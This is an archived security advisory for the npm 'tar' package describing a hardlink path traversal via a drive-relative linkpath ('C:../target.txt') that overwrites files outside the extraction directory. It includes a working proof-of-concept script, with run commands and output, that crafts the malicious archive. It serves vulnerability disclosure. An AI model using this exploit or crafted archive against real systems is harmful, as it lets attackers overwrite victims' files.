tar has Hardlink Path Traversal via Drive-Relative Linkpath
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · GHSA-qffp-2rhf-9h96
Published### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots. What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `[email protected]`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash cd test-workspace node poc.cjs && ls -l ../target.txt ``` Observed output: ```text PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt ``` `PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
- Source published
- 5 Mar 2026 00:52:32 UTC
- Source modified
- 10 Sep 2026 03:50:40 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V4 · CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
Publisher rating · HIGH